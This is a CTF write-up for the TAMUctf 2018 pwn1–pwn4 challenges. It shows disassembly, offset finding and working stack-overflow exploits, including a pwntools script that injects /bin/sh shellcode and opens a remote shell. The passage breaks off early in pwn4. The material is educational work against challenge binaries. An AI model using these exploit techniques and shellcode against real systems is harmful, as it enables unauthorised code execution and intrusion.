TAMUctf 18 – writeup pwn1-5

The Texas A&M University CTF (ctftime.org) ran for over one week from 17/02/2018, 00:00 UTC to 26/02/2018 00:00 UTC. There have been a lot of challenges starting at a very easy difficulty.

I did the five pwn challenges ranging from 25 to 200 points:
–> pwn1 (25 pts)
–> pwn2 (50 pts)
–> pwn3 (75 pts)
–> pwn4 (125 pts)
–> pwn5 (200 pts)


pwn1 (25 pts)

Each of the five challenges provided a binary (ELF x86) and a hostname / port of the server on which the binary is running.

Let’s get started with pwn1 using checksec to see what security mechanism are enabled:

root@kali:~/Downloads/pwn_tamu# checksec pwn1
[*] '/root/Downloads/pwn_tamu/pwn1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

No stack canary has been found, which means that we might be able to leverage a buffer overflow on the stack.

When running the program we are asked for a secret and are able to enter something:

root@kali:~/Downloads/pwn_tamu# ./pwn1
This is a super secret program
Noone is allowed through except for those who know the secret!
What is my secret?
aaa
That is not the secret word!

Using radare2 we can analyze the binary:

root@kali:~/Downloads/pwn_tamu# r2 pwn1
[0x08048450]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[ ] [*] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan))

At first we can list all functions using the command afl:

[0x08048450]> afl
0x08048390    3 35           sym._init
0x080483d0    1 6            sym.imp.gets
0x080483e0    1 6            sym.imp._IO_getc
0x080483f0    1 6            sym.imp.puts
0x08048400    1 6            sym.imp.__libc_start_main
0x08048410    1 6            sym.imp.setvbuf
0x08048420    1 6            sym.imp.fopen
0x08048430    1 6            sym.imp.putchar
0x08048440    1 6            sub.__gmon_start___252_440
0x08048450    1 33           entry0
0x08048480    1 4            sym.__x86.get_pc_thunk.bx
0x08048490    4 43           sym.deregister_tm_clones
0x080484c0    4 53           sym.register_tm_clones
0x08048500    3 30           sym.__do_global_dtors_aux
0x08048520    4 43   -> 40   sym.frame_dummy
0x0804854b    4 103          sym.print_flag
0x080485b2    4 152          sym.main
0x08048650    4 93           sym.__libc_csu_init
0x080486b0    1 2            sym.__libc_csu_fini
0x080486b4    1 20           sym._fini

There is a function called sym.print_flag. Obviously our goal is to call this function to get the flag.

Let’s have a look at the main function in order to understand how the program works. Within r2 a function can be disassembled with the command pdf:

[0x08048450]> pdf @ sym.main
            ;-- main:
/ (fcn) sym.main 152
|   sym.main ();
|           ; var int local_23h @ ebp-0x23
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h_2 @ ebp-0x4
|           ; var int local_4h @ esp+0x4
|           ; DATA XREF from 0x08048467 (entry0)
|           0x080485b2      8d4c2404       lea ecx, dword [esp + local_4h] ; 0x4
|           0x080485b6      83e4f0         and esp, 0xfffffff0
|           0x080485b9      ff71fc         push dword [ecx - 4]
|           0x080485bc      55             push ebp
|           0x080485bd      89e5           mov ebp, esp
|           0x080485bf      51             push ecx
|           0x080485c0      83ec24         sub esp, 0x24               ; '$'
|           0x080485c3      a130a00408     mov eax, dword [obj.stdout] ; [0x804a030:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a030
|           0x080485c8      6a00           push 0
|           0x080485ca      6a00           push 0
|           0x080485cc      6a02           push 2
|           0x080485ce      50             push eax
|           0x080485cf      e83cfeffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);
|           0x080485d4      83c410         add esp, 0x10
|           0x080485d7      83ec0c         sub esp, 0xc
|           0x080485da      6800870408     push str.This_is_a_super_secret_program ; str.This_is_a_super_secret_program ; "This is a super secret program" @ 0x8048700
|           0x080485df      e80cfeffff     call sym.imp.puts          ; int puts(const char *s);
|           0x080485e4      83c410         add esp, 0x10
|           0x080485e7      83ec0c         sub esp, 0xc
|           0x080485ea      6820870408     push str.Noone_is_allowed_through_except_for_those_who_know_the_secret_ ; str.Noone_is_allowed_through_except_for_those_who_know_the_secret_ ; "Noone is allowed through except for those who know the secret!" @ 0x8048720
|           0x080485ef      e8fcfdffff     call sym.imp.puts          ; int puts(const char *s);
|           0x080485f4      83c410         add esp, 0x10
|           0x080485f7      83ec0c         sub esp, 0xc
|           0x080485fa      685f870408     push str.What_is_my_secret_ ; str.What_is_my_secret_ ; "What is my secret?" @ 0x804875f
|           0x080485ff      e8ecfdffff     call sym.imp.puts          ; int puts(const char *s);
|           0x08048604      83c410         add esp, 0x10
|           0x08048607      c745f4000000.  mov dword [ebp - local_ch], 0
|           0x0804860e      83ec0c         sub esp, 0xc
|           0x08048611      8d45dd         lea eax, dword [ebp - local_23h]
|           0x08048614      50             push eax
|           0x08048615      e8b6fdffff     call sym.imp.gets          ; char*gets(char *s);
|           0x0804861a      83c410         add esp, 0x10
|           0x0804861d      817df411ba07.  cmp dword [ebp - local_ch], 0xf007ba11 ; [0xf007ba11:4]=-1
|       ,=< 0x08048624      7507           jne 0x804862d
|       |   0x08048626      e820ffffff     call sym.print_flag        ; floating_point rint(arithmetic x);
|      ,==< 0x0804862b      eb10           jmp 0x804863d
|      ||   ; JMP XREF from 0x08048624 (sym.main)
|      |`-> 0x0804862d      83ec0c         sub esp, 0xc
|      |    0x08048630      6872870408     push str.That_is_not_the_secret_word_ ; str.That_is_not_the_secret_word_ ; "That is not the secret word!" @ 0x8048772
|      |    0x08048635      e8b6fdffff     call sym.imp.puts          ; int puts(const char *s);
|      |    0x0804863a      83c410         add esp, 0x10
|      |    ; JMP XREF from 0x0804862b (sym.main)
|      `--> 0x0804863d      b800000000     mov eax, 0
|           0x08048642      8b4dfc         mov ecx, dword [ebp - local_4h_2]
|           0x08048645      c9             leave
|           0x08048646      8d61fc         lea esp, dword [ecx - 4]
\           0x08048649      c3             ret
[0x08048450]> 

The relevant parts are highlighted. There is a local variable stored at ebp-0xc, which is initialized with 0 (first highlighted line). On the next highlighted line the address of ebp-0x23 is moved to eax, which is then pushed on the stack. This is the argument to the call to gets on the third highlighted line. Using gets is dangerous since the function does not do any boundary checks:

root@kali:~/Downloads/pwn_tamu# man gets

NAME
       fgetc, fgets, getc, getchar, gets, ungetc - input of characters and strings

SYNOPSIS
       #include <stdio.h>

       ...

       char *gets(char *s);

       int ungetc(int c, FILE *stream);

DESCRIPTION
       ...

       gets()  reads  a line from stdin into the buffer pointed to by s until either a terminating newline
       or EOF, which it replaces with a null byte ('\0').  No check for buffer overrun is  performed  (see
       BUGS below).

After the function call to gets the local variable stored at ebp-0xc is compared to the value 0xf007ba11. If the comparison succeeds the jne on the following line is not taken. Thus the next line is executed which calls the function sym.print_flag.

This means that we have to set the local variable stored at ebp-0xc to the value 0xf007ba11. Our user input is stored beginning at ebp-0x23 (the argument to gets). Since gets does not do any boundary checks we can simply write so much bytes that we overwrite the local variable stored at ebp-0xc.

How much bytes do we have to write? Well, since our input is stored beginning at ebp-0x23 and the local variable we want to overwrite at ebp-0xc we just have to subtract one from the other:

[0x08048450]> ! rax2 0x23-0xc
23

Thus we have to write 23 bytes + the value we want to write into the local variable stored at ebp-0xc. Since we want the sym.print_flag function to be called, we need to overwrite it with the value 0xf007ba11. Remember that an integer is stored in little endian:

root@kali:~/Downloads/pwn_tamu# python -c 'print("X"*23+"\x11\xba\x07\xf0")' | nc pwn.ctf.tamu.edu 4321
This is a super secret program
Noone is allowed through except for those who know the secret!
What is my secret?
How did you figure out my secret?!
gigem{H0W_H4RD_1S_TH4T?}

Done 🙂 The flag is gigem{H0W_H4RD_1S_TH4T?}.


pwn2 (50 pts)

We start by viewing the enabled security mechanisms using checksec:

root@kali:~/Downloads/pwn_tamu# checksec pwn2
[*] '/root/Downloads/pwn_tamu/pwn2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

As well as pwn1 there is no stack canary.

When running the program we can input a string which is echoed again:

root@kali:~/Downloads/pwn_tamu# ./pwn2
I just love repeating what other people say!
I bet I can repeat anything you tell me!
aaa
aaa

Here I entered aaa which is simply repeated. Let’s have a look at the assembly using r2:

root@kali:~/Downloads/pwn_tamu# r2 pwn2
[0x08048450]> aaa
...
[0x08048450]> afl
0x08048390    3 35           sym._init
0x080483d0    1 6            sym.imp.gets
0x080483e0    1 6            sym.imp._IO_getc
0x080483f0    1 6            sym.imp.puts
0x08048400    1 6            sym.imp.__libc_start_main
0x08048410    1 6            sym.imp.setvbuf
0x08048420    1 6            sym.imp.fopen
0x08048430    1 6            sym.imp.putchar
0x08048440    1 6            sub.__gmon_start___252_440
0x08048450    1 33           entry0
0x08048480    1 4            sym.__x86.get_pc_thunk.bx
0x08048490    4 43           sym.deregister_tm_clones
0x080484c0    4 53           sym.register_tm_clones
0x08048500    3 30           sym.__do_global_dtors_aux
0x08048520    4 43   -> 40   sym.frame_dummy
0x0804854b    4 103          sym.print_flag
0x080485b2    1 68           sym.echo
0x080485f6    1 87           sym.main
0x08048650    4 93           sym.__libc_csu_init
0x080486b0    1 2            sym.__libc_csu_fini
0x080486b4    1 20           sym._fini

Yet again there is a function called sym.print_flag which is stored at 0x0804854b.

At first we have a look at the main function:

[0x08048450]> pdf @ sym.main
            ;-- main:
/ (fcn) sym.main 87
|   sym.main ();
|           ; var int local_4h_2 @ ebp-0x4
|           ; var int local_4h @ esp+0x4
|           ; DATA XREF from 0x08048467 (entry0)
|           0x080485f6      8d4c2404       lea ecx, dword [esp + local_4h] ; 0x4
|           0x080485fa      83e4f0         and esp, 0xfffffff0
|           0x080485fd      ff71fc         push dword [ecx - 4]
|           0x08048600      55             push ebp
|           0x08048601      89e5           mov ebp, esp
|           0x08048603      51             push ecx
|           0x08048604      83ec04         sub esp, 4
|           0x08048607      a130a00408     mov eax, dword [obj.stdout] ; [0x804a030:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a030
|           0x0804860c      6a00           push 0
|           0x0804860e      6a00           push 0
|           0x08048610      6a02           push 2
|           0x08048612      50             push eax
|           0x08048613      e8f8fdffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);
|           0x08048618      83c410         add esp, 0x10
|           0x0804861b      83ec0c         sub esp, 0xc
|           0x0804861e      6800870408     push str.I_just_love_repeating_what_other_people_say_ ; str.I_just_love_repeating_what_other_people_say_ ; "I just love repeating what other people say!" @ 0x8048700
|           0x08048623      e8c8fdffff     call sym.imp.puts          ; int puts(const char *s);
|           0x08048628      83c410         add esp, 0x10
|           0x0804862b      83ec0c         sub esp, 0xc
|           0x0804862e      6830870408     push str.I_bet_I_can_repeat_anything_you_tell_me_ ; str.I_bet_I_can_repeat_anything_you_tell_me_ ; "I bet I can repeat anything you tell me!" @ 0x8048730
|           0x08048633      e8b8fdffff     call sym.imp.puts          ; int puts(const char *s);
|           0x08048638      83c410         add esp, 0x10
|           0x0804863b      e872ffffff     call sym.echo
|           0x08048640      b800000000     mov eax, 0
|           0x08048645      8b4dfc         mov ecx, dword [ebp - local_4h_2]
|           0x08048648      c9             leave
|           0x08048649      8d61fc         lea esp, dword [ecx - 4]
\           0x0804864c      c3             ret

Within the main function the initial output of the program is displayed using puts. After this there is a call to sym.echo. This is where our input should be read:

[0x08048450]> pdf @ sym.echo
/ (fcn) sym.echo 68
|   sym.echo ();
|           ; var int local_efh @ ebp-0xef
|           ; CALL XREF from 0x0804863b (sym.main)
|           0x080485b2      55             push ebp
|           0x080485b3      89e5           mov ebp, esp
|           0x080485b5      81ecf8000000   sub esp, 0xf8
|           0x080485bb      a130a00408     mov eax, dword [obj.stdout] ; [0x804a030:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a030
|           0x080485c0      6a00           push 0
|           0x080485c2      6a00           push 0
|           0x080485c4      6a02           push 2
|           0x080485c6      50             push eax
|           0x080485c7      e844feffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);
|           0x080485cc      83c410         add esp, 0x10
|           0x080485cf      83ec0c         sub esp, 0xc
|           0x080485d2      8d8511ffffff   lea eax, dword [ebp - local_efh]
|           0x080485d8      50             push eax
|           0x080485d9      e8f2fdffff     call sym.imp.gets          ; char*gets(char *s);
|           0x080485de      83c410         add esp, 0x10
|           0x080485e1      83ec0c         sub esp, 0xc
|           0x080485e4      8d8511ffffff   lea eax, dword [ebp - local_efh]
|           0x080485ea      50             push eax
|           0x080485eb      e800feffff     call sym.imp.puts          ; int puts(const char *s);
|           0x080485f0      83c410         add esp, 0x10
|           0x080485f3      90             nop
|           0x080485f4      c9             leave
\           0x080485f5      c3             ret
[0x08048450]> 

On the highlighted line gets is called to read the user input. As we have already seen in pwn1 the function gets does not do any boundary checks and we can thus cause a buffer overflow.

In pwn1 we used the buffer overflow to overwrite a local variable on the stack. In addition to local variables the return address of every function call is stored on the stack. The ret instruction at the end of a function pops this return address from the stack and puts it into the instruction pointer eip. This way the execution proceeds with the instructions stored at the return address.

If we input enough bytes to overwrite the return address, we can control the instruction pointer and can set it to the address of the function sym.print_flag. This way the function will be executed printing the flag.

At first we have to know how much bytes we have to write in order to overwrite the return address. In other words: we have to know the offset from the buffer where our input is stored to the return address.

This can be achieved by using a pattern, which is basically a sequence of different characters. When the return address is overwritten with a part of our pattern the program will raise a segmentation fault because the instruction pointer is set to an invalid address. When we inspect the instruction pointer after the segmentation fault was raised, we can see which part of the pattern has been loaded into the instruction pointer and calculate the offset within our pattern. All this can be done using gdb-peda:

gdb-peda$ pattern create 300 /tmp/pattern_pwn2
Writing pattern of 300 chars to filename "/tmp/pattern_pwn2"
gdb-peda$ r < /tmp/pattern_pwn2 
Starting program: /root/Downloads/pwn_tamu/pwn2 < /tmp/pattern_pwn2
I just love repeating what other people say!
I bet I can repeat anything you tell me!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x12d 
EBX: 0x0 
ECX: 0xf7faddc7 --> 0xfae8940a 
EDX: 0xf7fae894 --> 0x0 
ESI: 0xf7fad000 --> 0x1cfd70 
EDI: 0x0 
EBP: 0x25416125 ('%aA%')
ESP: 0xffffd340 ("A%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x46254130 ('0A%F')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x46254130
[------------------------------------stack-------------------------------------]
0000| 0xffffd340 ("A%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xffffd344 ("%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0xffffd348 ("GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0012| 0xffffd34c ("A%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0016| 0xffffd350 ("%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0020| 0xffffd354 ("dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0024| 0xffffd358 ("A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0028| 0xffffd35c ("%eA%4A%JA%fA%5A%KA%gA%6A%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x46254130 in ?? ()

Within gdb-peda we can create a pattern using the command pattern create <length> <file>. Here I created a pattern of 300 bytes and then run the program with that pattern (r < /tmp/pattern_pwn2).

The program raises a segmentation fault and the instruction pointer eip has been set to 0x46254130 (ASCII: "0A%F"). This is the part of our pattern which overwrote the return address on the stack. In order to calculate the offset we can simply use the command pattern offset <part of pattern> (in this case simply $eip):

gdb-peda$ pattern offset $eip
1176846640 found at offset: 243

Thus we have to write 243 bytes + the address of sym.print_flag in order to get the function called:

root@kali:~/Downloads/pwn_tamu# python -c 'print("X"*243 + "\x4b\x85\x04\x08")' | nc pwn.ctf.tamu.edu 4322
I just love repeating what other people say!
I bet I can repeat anything you tell me!
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXK�
This function has been deprecated
gigem{3ch035_0f_7h3_p4s7}

We could also write a little python-script using pwntools (I introduce this here because I am going to use this from now on):

root@kali:~/Downloads/pwn_tamu# cat pwn2.py
from pwn import *

p = remote("pwn.ctf.tamu.edu", 4322)

p.recvuntil("tell me!")
p.sendline("X"*243+p32(0x804854b))
p.recvuntil("deprecated\n")
print(p.recv(100))

Running the script:

root@kali:~/Downloads/pwn_tamu# python pwn2.py
[+] Opening connection to pwn.ctf.tamu.edu on port 4322: Done
gigem{3ch035_0f_7h3_p4s7}

[*] Closed connection to pwn.ctf.tamu.edu port 4322

Finished! The flag is gigem{3ch035_0f_7h3_p4s7}.


pwn3 (75 pts)

As usual we start by checking which security mechanisms are enabled:

root@kali:~/Downloads/pwn_tamu# checksec pwn3
[*] '/root/Downloads/pwn_tamu/pwn3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Unlike the last two binaries NX is disabled. This means that the stack is executable and we can store and execute a shellcode on the stack.

Like pwn2 the program simply repeats the input we enter:

root@kali:~/Downloads/pwn_tamu# ./pwn3
Welcome to the New Echo application 2.0!
Changelog:
- Less deprecated flag printing functions!
- New Random Number Generator!

Your random number 0xff8201ca!
Now what should I echo? aaaa
aaaa

But there is also a random number being printed. Let's analyze the binary using r2:

root@kali:~/Downloads/pwn_tamu# r2 pwn3
[0x080483d0]> aaa
...
[0x080483d0]> afl
0x08048330    3 35           sym._init
0x08048370    1 6            sym.imp.printf
0x08048380    1 6            sym.imp.gets
0x08048390    1 6            sym.imp.puts
0x080483a0    1 6            sym.imp.__libc_start_main
0x080483b0    1 6            sym.imp.setvbuf
0x080483c0    1 6            sub.__gmon_start___252_3c0
0x080483d0    1 33           entry0
0x08048400    1 4            sym.__x86.get_pc_thunk.bx
0x08048410    4 43           sym.deregister_tm_clones
0x08048440    4 53           sym.register_tm_clones
0x08048480    3 30           sym.__do_global_dtors_aux
0x080484a0    4 43   -> 40   sym.frame_dummy
0x080484cb    1 87           sym.echo
0x08048522    1 87           sym.main
0x08048580    4 93           sym.__libc_csu_init
0x080485e0    1 2            sym.__libc_csu_fini
0x080485e4    1 20           sym._fini

This time there seems to be no print_flag function. Let's have a look at the main function:

[0x080483d0]> pdf @ sym.main 
            ;-- main:
/ (fcn) sym.main 87
|   sym.main ();
|           ; var int local_4h_2 @ ebp-0x4
|           ; var int local_4h @ esp+0x4
|           ; DATA XREF from 0x080483e7 (entry0)
|           0x08048522      8d4c2404       lea ecx, dword [esp + local_4h] ; 0x4
|           0x08048526      83e4f0         and esp, 0xfffffff0
|           0x08048529      ff71fc         push dword [ecx - 4]
|           0x0804852c      55             push ebp
|           0x0804852d      89e5           mov ebp, esp
|           0x0804852f      51             push ecx
|           0x08048530      83ec04         sub esp, 4
|           0x08048533      a128a00408     mov eax, dword [obj.stdout] ; [0x804a028:4]=0x3a434347 LEA obj.stdout ; "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" @ 0x804a028
|           0x08048538      6a00           push 0
|           0x0804853a      6a00           push 0
|           0x0804853c      6a02           push 2
|           0x0804853e      50             push eax
|           0x0804853f      e86cfeffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size);
|           0x08048544      83c410         add esp, 0x10
|           0x08048547      83ec0c         sub esp, 0xc
|           0x0804854a      6834860408     push str.Welcome_to_the_New_Echo_application_2.0_ ; str.Welcome_to_the_New_Echo_application_2.0_ ; "Welcome to the New Echo application 2.0!" @ 0x8048634
|           0x0804854f      e83cfeffff     call sym.imp.puts          ; int puts(const char *s);
|           0x08048554      83c410         add esp, 0x10
|           0x08048557      83ec0c         sub esp, 0xc
|           0x0804855a      6860860408     push str.Changelog:_n__Less_deprecated_flag_printing_functions__n__New_Random_Number_Generator__n ; str.Changelog:_n__Less_deprecated_flag_printing_functions__n__New_Random_Number_Generator__n ; "Changelog:.- Less deprecated flag printing functions!.- New Random Number Generator!." @ 0x8048660
|           0x0804855f      e82cfeffff     call sym.imp.puts          ; int puts(const char *s);
|           0x08048564      83c410         add esp, 0x10
|           0x08048567      e85fffffff     call sym.echo
|           0x0804856c      b800000000     mov eax, 0
|           0x08048571      8b4dfc         mov ecx, dword [ebp - local_4h_2]
|           0x08048574      c9             leave
|           0x08048575      8d61fc         lea esp, dword [ecx - 4]
\           0x08048578      c3             ret

No input is read here yet, but again a function named sym.echo is called:

[0x080483d0]> pdf @ sym.echo 
/ (fcn) sym.echo 87
|   sym.echo ();
|           ; var int local_eeh @ ebp-0xee
|           ; CALL XREF from 0x08048567 (sym.main)
|           0x080484cb      55             push ebp
|           0x080484cc      89e5           mov ebp, esp
|           0x080484ce      81ecf8000000   sub esp, 0xf8
|           0x080484d4      83ec08         sub esp, 8
|           0x080484d7      8d8512ffffff   lea eax, dword [ebp - local_eeh]
|           0x080484dd      50             push eax
|           0x080484de      6800860408     push str.Your_random_number__p__n ; str.Your_random_number__p__n ; "Your random number %p!." @ 0x8048600
|           0x080484e3      e888feffff     call sym.imp.printf        ; int printf(const char *format);
|           0x080484e8      83c410         add esp, 0x10
|           0x080484eb      83ec0c         sub esp, 0xc
|           0x080484ee      6818860408     push str.Now_what_should_I_echo_ ; str.Now_what_should_I_echo_ ; "Now what should I echo? " @ 0x8048618
|           0x080484f3      e878feffff     call sym.imp.printf        ; int printf(const char *format);
|           0x080484f8      83c410         add esp, 0x10
|           0x080484fb      83ec0c         sub esp, 0xc
|           0x080484fe      8d8512ffffff   lea eax, dword [ebp - local_eeh]
|           0x08048504      50             push eax
|           0x08048505      e876feffff     call sym.imp.gets          ; char*gets(char *s);
|           0x0804850a      83c410         add esp, 0x10
|           0x0804850d      83ec0c         sub esp, 0xc
|           0x08048510      8d8512ffffff   lea eax, dword [ebp - local_eeh]
|           0x08048516      50             push eax
|           0x08048517      e874feffff     call sym.imp.puts          ; int puts(const char *s);
|           0x0804851c      83c410         add esp, 0x10
|           0x0804851f      90             nop
|           0x08048520      c9             leave
\           0x08048521      c3             ret
[0x080483d0]> 

On the first highlighted lines the random number is printed using printf. Within the format string for printf the format specifier %p is used, which prints an address. On the lines before the call this address in pushed on the stack: ebp - local_eeh. We will found out what this is shortly.

On the second highlighted lines the function gets is called. As we already know this function is vulnerable to buffer overflows. Take a look at the buffer being passed on the stack before the function call: ebp - local_eeh. This is exactly the address which is printed beforehand as the so called random number! This means that we know the exact location of the buffer for our input on the stack. If we store a shellcode in the buffer and leverage gets to overwrite the return address, we can make the instruction pointer point to our shellcode.

At first we calculate the offset to the return address using the same technique as we used for pwn2:

gdb-peda$ pattern create 300 /tmp/pattern_pwn3
Writing pattern of 300 chars to filename "/tmp/pattern_pwn3"
gdb-peda$ r < /tmp/pattern_pwn3
Starting program: /root/Downloads/pwn_tamu/pwn3 < /tmp/pattern_pwn3
Welcome to the New Echo application 2.0!
Changelog:
- Less deprecated flag printing functions!
- New Random Number Generator!

Your random number 0xffffd24a!
Now what should I echo? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x12d 
EBX: 0x0 
ECX: 0xf7faddc7 --> 0xfae8940a 
EDX: 0xf7fae894 --> 0x0 
ESI: 0xf7fad000 --> 0x1cfd70 
EDI: 0x0 
EBP: 0x41612541 ('A%aA')
ESP: 0xffffd340 ("FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
EIP: 0x25413025 ('%0A%')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x25413025
[------------------------------------stack-------------------------------------]
0000| 0xffffd340 ("FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0004| 0xffffd344 ("A%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0008| 0xffffd348 ("%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0012| 0xffffd34c ("cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0016| 0xffffd350 ("A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0020| 0xffffd354 ("%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0024| 0xffffd358 ("3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0028| 0xffffd35c ("A%eA%4A%JA%fA%5A%KA%gA%6A%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x25413025 in ?? ()
gdb-peda$ pattern offset $eip
625029157 found at offset: 242

The offset from the buffer where our input is stored to the return address is 242 byte.

We can now write a python-script which stores a shellcode in the buffer and overwrites the return address with the random number printed by the program, which is - as we figured out - the address of our buffer.

root@kali:~/Downloads/pwn_tamu# cat pwn3.py 
from pwn import *

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"\
            "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40"\
            "\xcd\x80"

p = remote("pwn.ctf.tamu.edu", 4323)

ret = p.recvuntil("echo?")
addr_buf = int(ret[0x94:0x9c], 16)   # the output contains the address of our buffer ("random number")

expl = "\x90" * (242 - 20 - len(shellcode))  # nop-sled
expl += shellcode                            # shellcode
expl += "\x90" * 20                          # fill-bytes
expl += p32(addr_buf)                        # overwrite return address
p.sendline(expl)
p.recv(1000)
p.recv(1000)

p.interactive()

For the shellcode I simply took one from shell-storm.org which makes a syscall to execve passing the string "/bin/sh" (for more details on shellcoding see my writeup for RPISEC/MBE lab03.

Running the script spawns a shell on the server and we can read the flag:

root@kali:~/Downloads/pwn_tamu# python pwn3.py 
[+] Opening connection to pwn.ctf.tamu.edu on port 4323: Done
[*] Switching to interactive mode
$ whoami
pwnuser
$ ls -al
total 20
drwxr-xr-x  2 pwnflag pwnflag 4096 Feb  9 17:02 .
drwxr-xr-x 46 root    root    4096 Feb 17 07:01 ..
-r--r--r--  1 pwnflag pwnflag   34 Feb  9 04:32 flag.txt
-rwsr-xr-x  1 pwnflag pwnflag 7520 Feb  9 04:32 pwn3
$ cat flag.txt
gigem{n0w_w3_4r3_g377in6_s74r73d}

Done 🙂 The flag is gigem{n0w_w3_4r3_g377in6_s74r73d}.


pwn4 (125 pts)

As usual we start by checking which security mechanisms are enabled using checksec:

root@kali:~/Downloads/pwn_tamu# checksec pwn4
[*] '/root/Downloads/pwn_tamu/pwn4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Nothing suspicious here. Just like the last three binaries there is no stack canary, which means that we can probably leverage a buffer overflow on the stack.

When running the program we can choose four different shell-commands to be executed:

root@kali:~/Downloads/pwn_tamu# ./pwn4
I am a reduced online shell
Your options are:
1. ls
2. cal
3. pwd
4. whoami
5. exit
Input> 4
root

I am a reduced online shell
Your options are:
1. ls
2. cal
3. pwd
4. whoami
5. exit
Input> 5

Let's have a look at the disassembly:

root@kali:~/Downloads/pwn_tamu# r2 pwn4
[0x08048490]> aaa
...
[0x08048490]> afl
0x080483b4    3 35           sym._init
0x080483f0    1 6            sym.imp.strcmp
0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.gets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.exit
0x08048450    1 6            sym.imp.__libc_start_main
0x08048460    1 6            sym.imp.setvbuf
0x08048470    1 6            sym.imp.putchar
